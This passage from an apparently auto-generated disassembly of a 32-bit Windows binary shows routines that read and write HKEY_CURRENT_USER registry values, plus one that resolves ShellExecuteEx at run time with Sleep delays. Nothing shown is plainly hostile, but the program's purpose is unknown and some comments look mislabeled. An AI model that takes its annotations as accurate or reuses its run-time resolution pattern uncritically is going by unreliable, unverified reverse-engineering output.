mov al, 1
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_405E1F endp
; =============== S U B R O U T I N E =======================================
sub_406208 proc near ; CODE XREF: sub_402C48+264p
mov eax, offset loc_4121DC
call sub_41163A ; _EH_prolog
sub esp, 0Ch
push ebx
push esi
push edi
mov ebx, ecx
mov [ebp-10h], esp
push offset aShell32_dll ; "shell32.dll"
call dword_4130DC ; LoadLibraryA
test eax, eax
mov [ebp-14h], eax
jz short loc_40627A
push offset aShellexecuteex ; "ShellExecuteEx"
push eax
call dword_413060 ; GetProcAddress
mov edi, eax
test edi, edi
jz short loc_406271
mov esi, dword_4130E0
push 22h
call esi ; Sleep
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset aSei ; "sei \n"
call sub_4114FA
mov ecx, ebx
call sub_404B34
push 26h
call esi ; Sleep
and dword ptr [ebp-4], 0
mov eax, eax
push dword ptr [ebp+8]
call edi ; lstrcpyA
loc_406271: ; CODE XREF: sub_406208+37j
; DATA XREF: sub_40628Do
push dword ptr [ebp-14h]
call dword_413054 ; FreeLibrary
loc_40627A: ; CODE XREF: sub_406208+25j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_406208 endp
; =============== S U B R O U T I N E =======================================
sub_40628D proc near ; DATA XREF: HSho:004156CCo
mov eax, offset loc_406271
retn
sub_40628D endp
; =============== S U B R O U T I N E =======================================
sub_406293 proc near ; CODE XREF: sub_403488+69p
; sub_403488+BD4p ...
mov eax, [ecx]
test eax, eax
jz short locret_40629F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_40629F: ; CODE XREF: sub_406293+4j
retn
sub_406293 endp
; =============== S U B R O U T I N E =======================================
sub_4062A0 proc near ; CODE XREF: sub_403488+61p
; sub_403488+BC9p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push edi
mov edi, [esi]
cmp edi, eax
jz short loc_4062C4
test eax, eax
mov [esi], eax
jz short loc_4062BA
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_4062BA: ; CODE XREF: sub_4062A0+12j
test edi, edi
jz short loc_4062C4
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_4062C4: ; CODE XREF: sub_4062A0+Cj
; sub_4062A0+1Cj
mov eax, esi
pop edi
pop esi
retn 4
sub_4062A0 endp
; =============== S U B R O U T I N E =======================================
sub_4062CB proc near ; CODE XREF: sub_403488+77p
; sub_403488+47Ap ...
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_4062DF
push 80004003h
call sub_411822
loc_4062DF: ; CODE XREF: sub_4062CB+8j
xor eax, eax
cmp [esi], eax
pop esi
setz al
retn 4
sub_4062CB endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4121F9
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov ecx, [ebp-10h]
call sub_407FC0
mov dword ptr [ebp-4], 0
mov eax, [ebp-10h]
mov dword ptr [eax+10h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+14h], 0
push offset dword_419C48
mov ecx, [ebp-10h]
add ecx, 8
call sub_41150C
mov edx, [ebp-10h]
mov dword ptr [edx], 80000001h
mov eax, [ebp-10h]
mov dword ptr [eax+18h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+1Ch], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406374 proc near ; CODE XREF: sub_403488+3B6p
; sub_404B40+174p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_406374
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov [ebp+var_18], ecx
mov [ebp+var_4], 0
mov ecx, [ebp+var_18]
call sub_407FC0
mov byte ptr [ebp+var_4], 1
mov eax, [ebp+var_18]
mov dword ptr [eax+10h], 0
mov ecx, [ebp+var_18]
mov edx, [ebp+arg_4]
mov [ecx+14h], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_8]
mov [eax+1Ch], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+arg_C]
mov [edx], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx+18h], 0
push offset asc_4174C8 ; "\\"
lea ecx, [ebp+arg_0]
call sub_411566
push 5Ch
lea ecx, [ebp+arg_0]
call sub_411536
push eax
lea edx, [ebp+var_10]
push edx
lea ecx, [ebp+arg_0]
call sub_411530
mov [ebp+var_1C], eax
mov eax, [ebp+var_1C]
mov [ebp+var_20], eax
mov byte ptr [ebp+var_4], 2
mov ecx, [ebp+var_20]
push ecx
mov ecx, [ebp+var_18]
add ecx, 0Ch
call sub_411518
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_10]
call sub_411512
push offset asc_4174CC ; "\\"
mov ecx, [ebp+var_18]
add ecx, 0Ch
call sub_411560
lea ecx, [ebp+arg_0]
call sub_408070
mov esi, eax
push 5Ch
lea ecx, [ebp+arg_0]
call sub_411536
sub esi, eax
push esi
lea edx, [ebp+var_14]
push edx
lea ecx, [ebp+arg_0]
call sub_41155A
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_28], eax
mov byte ptr [ebp+var_4], 3
mov ecx, [ebp+var_28]
push ecx
mov ecx, [ebp+var_18]
add ecx, 8
call sub_411518
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_14]
call sub_411512
push offset asc_4174D0 ; "\\"
mov ecx, [ebp+var_18]
add ecx, 8
call sub_411566
push offset asc_4174D4 ; "\\"
mov ecx, [ebp+var_18]
add ecx, 8
call sub_411560
mov ecx, [ebp+var_18]
call sub_4064D9
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_411512
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 10h
sub_406374 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4064C6 proc near ; CODE XREF: sub_403488+3D7p
; sub_404B40+4D8p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_408020
mov esp, ebp
pop ebp
retn
sub_4064C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4064D9 proc near ; CODE XREF: sub_406374+12Ap
; sub_406606+24p
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_C]
add ecx, 0Ch
call sub_4026A0
push eax
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call dword_413004 ; RegOpenKeyExA
test eax, eax
jnz short loc_406575
mov [ebp+var_4], 4
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_C]
add ecx, 10h
push ecx
lea edx, [ebp+var_8]
push edx
push 0
mov ecx, [ebp+var_C]
add ecx, 8
call sub_4026A0
push eax
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_413010 ; RegQueryValueExA
test eax, eax
jnz short loc_406560
mov edx, [ebp+var_C]
mov dword ptr [edx+18h], 1
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_413000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+10h]
jmp short loc_40657B
; ---------------------------------------------------------------------------
loc_406560: ; CODE XREF: sub_4064D9+66j
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_413000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+14h]
jmp short loc_40657B
; ---------------------------------------------------------------------------
loc_406575: ; CODE XREF: sub_4064D9+31j
mov eax, [ebp+var_C]
mov eax, [eax+14h]
loc_40657B: ; CODE XREF: sub_4064D9+85j
; sub_4064D9+9Aj
mov esp, ebp
pop ebp
retn
sub_4064D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40657F proc near ; CODE XREF: sub_406633+2Cp
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_419C4C
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4026A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_41300C ; RegCreateKeyExA
test eax, eax
jz short loc_4065C1
jmp short loc_406602
; ---------------------------------------------------------------------------
loc_4065C1: ; CODE XREF: sub_40657F+3Ej
push 4
mov ecx, [ebp+var_8]
add ecx, 10h
push ecx
push 4
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4026A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_413008 ; RegSetValueExA
test eax, eax
jnz short loc_4065F5
mov ecx, [ebp+var_8]
mov dword ptr [ecx+18h], 1
loc_4065F5: ; CODE XREF: sub_40657F+6Aj
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_413000 ; RegCloseKey
loc_406602: ; CODE XREF: sub_40657F+40j
mov esp, ebp
pop ebp
retn
sub_40657F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406606 proc near ; CODE XREF: sub_404B40+183p
; sub_40543F+98p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_406627
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+1Ch], 0
jnz short loc_406627
mov edx, [ebp+var_4]
mov eax, [edx+10h]
jmp short loc_40662F
; ---------------------------------------------------------------------------
loc_406627: ; CODE XREF: sub_406606+Ej
; sub_406606+17j
mov ecx, [ebp+var_4]
call sub_4064D9
loc_40662F: ; CODE XREF: sub_406606+1Fj
mov esp, ebp
pop ebp
retn
sub_406606 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406633 proc near ; CODE XREF: sub_403488+3C8p
; sub_40543F+D5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp ecx, [eax+10h]
jnz short loc_406653
mov edx, [ebp+var_4]
cmp dword ptr [edx+1Ch], 0
jnz short loc_406653
mov eax, [ebp+var_4]
jmp short loc_406667
; ---------------------------------------------------------------------------
loc_406653: ; CODE XREF: sub_406633+10j
; sub_406633+19j
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax+10h], ecx
mov ecx, [ebp+var_4]
call sub_40657F
mov eax, [ebp+var_4]
loc_406667: ; CODE XREF: sub_406633+1Ej
mov esp, ebp
pop ebp
retn 4
sub_406633 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_412252
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov ecx, [ebp-10h]
call sub_407FC0
mov dword ptr [ebp-4], 0
mov ecx, [ebp-10h]
add ecx, 10h
call sub_41151E
mov byte ptr [ebp-4], 1
mov ecx, [ebp-10h]
add ecx, 14h
call sub_41151E
mov byte ptr [ebp-4], 2
push offset dword_419C50
mov ecx, [ebp-10h]
add ecx, 10h
call sub_41150C
push offset dword_419C54
mov ecx, [ebp-10h]
add ecx, 14h
call sub_41150C
push offset dword_419C58
mov ecx, [ebp-10h]
add ecx, 8
call sub_41150C
mov eax, [ebp-10h]
mov dword ptr [eax], 80000001h
mov ecx, [ebp-10h]
mov dword ptr [ecx+18h], 0
mov edx, [ebp-10h]
mov dword ptr [edx+1Ch], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40671B proc near ; CODE XREF: sub_403488+175p
; sub_403488+296p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40671B
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push esi
mov [ebp+var_1C], ecx
mov [ebp+var_4], 1
mov ecx, [ebp+var_1C]
call sub_407FC0
mov byte ptr [ebp+var_4], 2
mov ecx, [ebp+var_1C]
add ecx, 10h
call sub_41151E
mov byte ptr [ebp+var_4], 3
mov ecx, [ebp+var_1C]
add ecx, 14h
call sub_41151E
mov byte ptr [ebp+var_4], 4
push offset dword_419C5C
mov ecx, [ebp+var_1C]
add ecx, 10h
call sub_41150C
lea eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_1C]
add ecx, 14h
call sub_411518
mov ecx, [ebp+var_1C]
mov edx, [ebp+arg_8]
mov [ecx+1Ch], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+arg_C]
mov [eax], ecx
mov edx, [ebp+var_1C]
mov dword ptr [edx+18h], 0
push offset asc_4174D8 ; "\\"
lea ecx, [ebp+arg_0]
call sub_411566
push 5Ch
lea ecx, [ebp+arg_0]
call sub_411536
push eax
lea eax, [ebp+var_10]
push eax
lea ecx, [ebp+arg_0]
call sub_411530
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov byte ptr [ebp+var_4], 5
mov edx, [ebp+var_24]
push edx
mov ecx, [ebp+var_1C]
add ecx, 0Ch
call sub_411518
mov byte ptr [ebp+var_4], 4
lea ecx, [ebp+var_10]
call sub_411512
push offset asc_4174DC ; "\\"
mov ecx, [ebp+var_1C]
add ecx, 0Ch
call sub_411560
lea ecx, [ebp+arg_0]
call sub_408070
mov esi, eax
push 5Ch
lea ecx, [ebp+arg_0]
call sub_411536
sub esi, eax
push esi
lea eax, [ebp+var_14]
push eax
lea ecx, [ebp+arg_0]
call sub_41155A
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
mov [ebp+var_2C], ecx
mov byte ptr [ebp+var_4], 6
mov edx, [ebp+var_2C]
push edx
mov ecx, [ebp+var_1C]
add ecx, 8
call sub_411518
mov byte ptr [ebp+var_4], 4
lea ecx, [ebp+var_14]
call sub_411512
push offset asc_4174E0 ; "\\"
mov ecx, [ebp+var_1C]
add ecx, 8
call sub_411566
push offset asc_4174E4 ; "\\"
mov ecx, [ebp+var_1C]
add ecx, 8
call sub_411560
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_1C]
call sub_406909
lea ecx, [ebp+var_18]
call sub_411512
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+arg_0]
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_4]
call sub_411512
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 10h
sub_40671B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4068AF proc near ; CODE XREF: sub_403488+1A5p
; sub_403488+2C6p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4068AF
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 1
mov ecx, [ebp+var_10]
add ecx, 14h
call sub_411512
mov byte ptr [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 10h
call sub_411512
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call sub_408020
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_4068AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406909 proc near ; CODE XREF: sub_40671B+158p
; sub_406B4C+45p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_406909
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 2Ch
mov [ebp+var_30], ecx
mov [ebp+var_2C], 0
mov eax, [ebp+var_30]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_30]
add ecx, 0Ch
call sub_4026A0
push eax
mov ecx, [ebp+var_30]
mov edx, [ecx]
push edx
call dword_413004 ; RegOpenKeyExA
test eax, eax
jnz loc_406A88
mov [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 0
lea ecx, [ebp+var_18]
push ecx
push 0
mov ecx, [ebp+var_30]
add ecx, 8
call sub_4026A0
push eax
mov edx, [ebp+var_30]
mov eax, [edx+4]
push eax
call dword_413010 ; RegQueryValueExA
mov ecx, [ebp+var_10]
push ecx
call sub_4114F4
add esp, 4
mov [ebp+var_1C], eax
mov edx, [ebp+var_1C]
mov [ebp+var_14], edx
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
push ecx
lea edx, [ebp+var_18]
push edx
push 0
mov ecx, [ebp+var_30]
add ecx, 8
call sub_4026A0
push eax
mov eax, [ebp+var_30]
mov ecx, [eax+4]
push ecx
call dword_413010 ; RegQueryValueExA
test eax, eax
jnz loc_406A4C
mov edx, [ebp+var_14]
push edx
lea ecx, [ebp+var_20]
call sub_4114FA
mov [ebp+var_34], eax
mov eax, [ebp+var_34]
mov [ebp+var_38], eax
mov [ebp+var_4], 0
mov ecx, [ebp+var_38]
push ecx
mov ecx, [ebp+var_30]
add ecx, 10h
call sub_411518
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_20]
call sub_411512
mov edx, [ebp+var_14]
mov [ebp+var_24], edx
mov eax, [ebp+var_24]
push eax
call sub_4114EE
add esp, 4
mov ecx, [ebp+var_30]
mov dword ptr [ecx+18h], 1
mov edx, [ebp+var_30]
mov eax, [edx+4]
push eax
call dword_413000 ; RegCloseKey
mov ecx, [ebp+var_30]
add ecx, 10h
push ecx
mov ecx, [ebp+arg_0]
call sub_411506
mov edx, [ebp+var_2C]
or edx, 1
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
jmp short loc_406AA3
; ---------------------------------------------------------------------------
loc_406A4C: ; CODE XREF: sub_406909+BDj
mov eax, [ebp+var_14]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
push ecx
call sub_4114EE
add esp, 4
mov edx, [ebp+var_30]
mov eax, [edx+4]
push eax
call dword_413000 ; RegCloseKey
mov ecx, [ebp+var_30]
add ecx, 14h
push ecx
mov ecx, [ebp+arg_0]
call sub_411506
mov edx, [ebp+var_2C]
or edx, 1
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
jmp short loc_406AA3
; ---------------------------------------------------------------------------
loc_406A88: ; CODE XREF: sub_406909+4Dj
mov eax, [ebp+var_30]
add eax, 14h
push eax
mov ecx, [ebp+arg_0]
call sub_411506
mov ecx, [ebp+var_2C]
or ecx, 1
mov [ebp+var_2C], ecx
mov eax, [ebp+arg_0]
loc_406AA3: ; CODE XREF: sub_406909+141j
; sub_406909+17Dj
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_406909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406AB3 proc near ; CODE XREF: sub_406BA8+73p
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_419C60
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4026A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_41300C ; RegCreateKeyExA
test eax, eax
jz short loc_406AF5
jmp short loc_406B48
; ---------------------------------------------------------------------------
loc_406AF5: ; CODE XREF: sub_406AB3+3Ej
mov ecx, [ebp+var_8]
add ecx, 10h
call sub_408070
add eax, 1
push eax
mov ecx, [ebp+var_8]
add ecx, 10h
call sub_4026A0
push eax
push 1
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4026A0
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_413008 ; RegSetValueExA
test eax, eax
jnz short loc_406B3B
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
loc_406B3B: ; CODE XREF: sub_406AB3+7Cj
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_413000 ; RegCloseKey
loc_406B48: ; CODE XREF: sub_406AB3+40j
mov esp, ebp
pop ebp
retn
sub_406AB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B4C proc near ; CODE XREF: sub_404B40+23Dp
; sub_404B40+37Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_406B8A
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+1Ch], 0
jnz short loc_406B8A
mov edx, [ebp+var_8]
add edx, 10h
push edx
mov ecx, [ebp+arg_0]
call sub_411506
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
jmp short loc_406BA2
; ---------------------------------------------------------------------------
loc_406B8A: ; CODE XREF: sub_406B4C+17j
; sub_406B4C+20j
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_8]
call sub_406909
mov edx, [ebp+var_4]
or edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
loc_406BA2: ; CODE XREF: sub_406B4C+3Cj
mov esp, ebp
pop ebp
retn 4
sub_406B4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406BA8 proc near ; CODE XREF: sub_403488+196p
; sub_403488+2B7p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_406BA8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp+var_18], ecx
mov [ebp+var_4], 0
mov eax, [ebp+var_18]
add eax, 10h
push eax
lea ecx, [ebp+arg_0]
push ecx
call sub_4080B0
and eax, 0FFh
test eax, eax
jz short loc_406C09
mov edx, [ebp+var_18]
cmp dword ptr [edx+1Ch], 0
jnz short loc_406C09
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_411512
mov eax, [ebp+var_10]
jmp short loc_406C38
; ---------------------------------------------------------------------------
loc_406C09: ; CODE XREF: sub_406BA8+3Cj
; sub_406BA8+45j
lea ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_18]
add ecx, 10h
call sub_411518
mov ecx, [ebp+var_18]
call sub_406AB3
mov edx, [ebp+var_18]
mov [ebp+var_14], edx
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_411512
mov eax, [ebp+var_14]
loc_406C38: ; CODE XREF: sub_406BA8+5Fj
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_406BA8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4122F9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 24h
mov [ebp-30h], ecx
mov ecx, [ebp-30h]
call sub_407FC0
mov dword ptr [ebp-4], 0
mov ecx, [ebp-30h]
add ecx, 10h
call sub_408170
mov ecx, [ebp-30h]
add ecx, 20h
call sub_408170
push 0
push 0
push 0
push 0
lea ecx, [ebp-1Ch]
call sub_408110
mov ecx, [ebp-30h]
add ecx, 10h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
push 0
push 0
push 0
push 0
lea ecx, [ebp-2Ch]
call sub_408110
mov ecx, [ebp-30h]
add ecx, 20h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
push offset dword_419C64
mov ecx, [ebp-30h]
add ecx, 8
call sub_41150C
mov ecx, [ebp-30h]
mov dword ptr [ecx], 80000001h
mov edx, [ebp-30h]
mov dword ptr [edx+30h], 0
mov eax, [ebp-30h]
mov dword ptr [eax+34h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-30h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_412327
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 3Ch
push esi
mov [ebp-38h], ecx
mov dword ptr [ebp-4], 0
mov ecx, [ebp-38h]
call sub_407FC0
mov byte ptr [ebp-4], 1
mov ecx, [ebp-38h]
add ecx, 10h
call sub_408170
mov ecx, [ebp-38h]
add ecx, 20h
call sub_408170
push 0
push 0
push 0
push 0
lea ecx, [ebp-1Ch]
call sub_408110
mov ecx, [ebp-38h]
add ecx, 10h
mov edx, [eax]
mov [ecx], edx
mov edx, [eax+4]
mov [ecx+4], edx
mov edx, [eax+8]
mov [ecx+8], edx
mov eax, [eax+0Ch]
mov [ecx+0Ch], eax
mov ecx, [ebp-38h]
add ecx, 20h
mov edx, [ebp+0Ch]
mov [ecx], edx
mov eax, [ebp+10h]
mov [ecx+4], eax
mov edx, [ebp+14h]
mov [ecx+8], edx
mov eax, [ebp+18h]
mov [ecx+0Ch], eax
mov ecx, [ebp-38h]
mov edx, [ebp+1Ch]
mov [ecx+34h], edx
mov eax, [ebp-38h]
mov ecx, [ebp+20h]
mov [eax], ecx
mov edx, [ebp-38h]
mov dword ptr [edx+30h], 0
push offset asc_4174E8 ; "\\"
lea ecx, [ebp+8]
call sub_411566
push 5Ch
lea ecx, [ebp+8]
call sub_411536
push eax
lea eax, [ebp-20h]
push eax
lea ecx, [ebp+8]
call sub_411530
mov [ebp-3Ch], eax
mov ecx, [ebp-3Ch]
mov [ebp-40h], ecx
mov byte ptr [ebp-4], 2
mov edx, [ebp-40h]
push edx
mov ecx, [ebp-38h]
add ecx, 0Ch
call sub_411518
mov byte ptr [ebp-4], 1
lea ecx, [ebp-20h]
call sub_411512
push offset asc_4174EC ; "\\"
mov ecx, [ebp-38h]
add ecx, 0Ch
call sub_411560
lea ecx, [ebp+8]
call sub_408070
mov esi, eax
push 5Ch
lea ecx, [ebp+8]
call sub_411536
sub esi, eax
push esi
lea eax, [ebp-24h]
push eax
lea ecx, [ebp+8]
call sub_41155A
mov [ebp-44h], eax
mov ecx, [ebp-44h]
mov [ebp-48h], ecx
mov byte ptr [ebp-4], 3
mov edx, [ebp-48h]
push edx
mov ecx, [ebp-38h]
add ecx, 8
call sub_411518
mov byte ptr [ebp-4], 1
lea ecx, [ebp-24h]
call sub_411512
push offset asc_4174F0 ; "\\"
mov ecx, [ebp-38h]
add ecx, 8
call sub_411566
push offset asc_4174F4 ; "\\"
mov ecx, [ebp-38h]
add ecx, 8
call sub_411560
lea eax, [ebp-34h]
push eax
mov ecx, [ebp-38h]
call sub_406EDD
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_411512
mov eax, [ebp-38h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 1Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov ecx, [ebp-4]
call sub_408020
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406EDD proc near ; CODE XREF: HSho:00406EA2p
; HSho:00407132p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_10 = dword ptr -10h
